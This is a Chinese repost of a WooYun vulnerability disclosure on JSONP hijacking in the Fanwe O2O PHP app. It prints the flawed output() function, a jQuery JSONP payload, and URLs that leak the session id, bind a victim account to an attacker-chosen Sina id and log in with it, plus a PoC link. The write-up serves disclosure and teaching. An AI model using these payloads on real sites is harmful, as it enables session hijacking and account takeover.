微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

jsonp劫持

基础: 
 

说说JSON和JSONP,也许你会豁然开朗,含jQuery用例

JSONP 安全攻防技术

案例:

payload:

$.ajax({type:"get",url:"http://o2odemo.fanwe.net/mapi/index.PHP?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun",dataType:"jsonp",jsonp:"callback",success:function(json){console.log(json);}});

wooyun-2015-0124949

/mapi/Lib/core/common.PHP中有 fanwe o2o的output函数

/**
* 输出接口数据
* @param unkNown_type $data 返回的接口数据
* @param unkNown_type $status 当前状态 0/1
* @param unkNown_type $info 当前消息 可选,为空时由客户端取提示(提示包含成功的提示与失败的提示)
*/
function output($data,$status=1,$info="")
{
header("Content-Type:text/html; charset=utf-8");
$r_type = intval($_REQUEST['r_type']);//返回数据格式类型; 0:base64;1;json_encode;2:array 3:jsonp
$data[CTL] = MODULE_NAME;
$data[ACT] = ACTION_NAME;
$data['status'] = $status;
$data['info'] = $info;
$data['city_name'] = $GLOBALS['city']['name'];
$data['return'] = 1; //弃用该返回,统一返回1
$data['sess_id'] = $GLOBALS['sess_id'];
if ($r_type == 0)
{
echo base64_encode(json_encode($data));
}
else if ($r_type == 1)
{
echo(json_encode($data));
}
else if ($r_type == 2)
{
print_r($data);
}
else if($r_type == 3)
{
$json = json_encode($data);
echo $_GET['callback']."(".$json.")";
}
exit;
}


这是一个通用的输出函数,所有/mpai下的输出全部由output输出
我们可以看到,这里当$_REQUEST['r_type']==3的时候,输出格式为jsonp。
所以,如果$data中有敏感信息,即会造成jsonp劫持。
结果当前函数中就存在一个敏感信息:sess_id
$data['sess_id'] = $GLOBALS['sess_id'];
用户登陆后(fanwe o2o 用户账号密码都是fanwe,以这个用户为例),可劫持用户的session(http://o2odemo.fanwe.net/mapi/index.PHP?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun):


继续深挖,刚才访问的这个URL(http://o2odemo.fanwe.net/mapi/index.PHP?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun),实际上就是将账户fanwe绑定了sina_id为ooooo。
那么另外一处,我们可以直接用ooooo进行登录
http://o2odemo.fanwe.net/mapi/index.PHP?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun


如上图,可以直接劫持用户密码。
写了个POC证明问题。受害者登录http://o2odemo.fanwe.net,再访问该POC即会弹出他的账号、邮箱、密码:
http://mhz.pw/game/tx/fanweo2o.html

漏洞证明:

http://mhz.pw/game/tx/fanweo2o.html

0
0

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐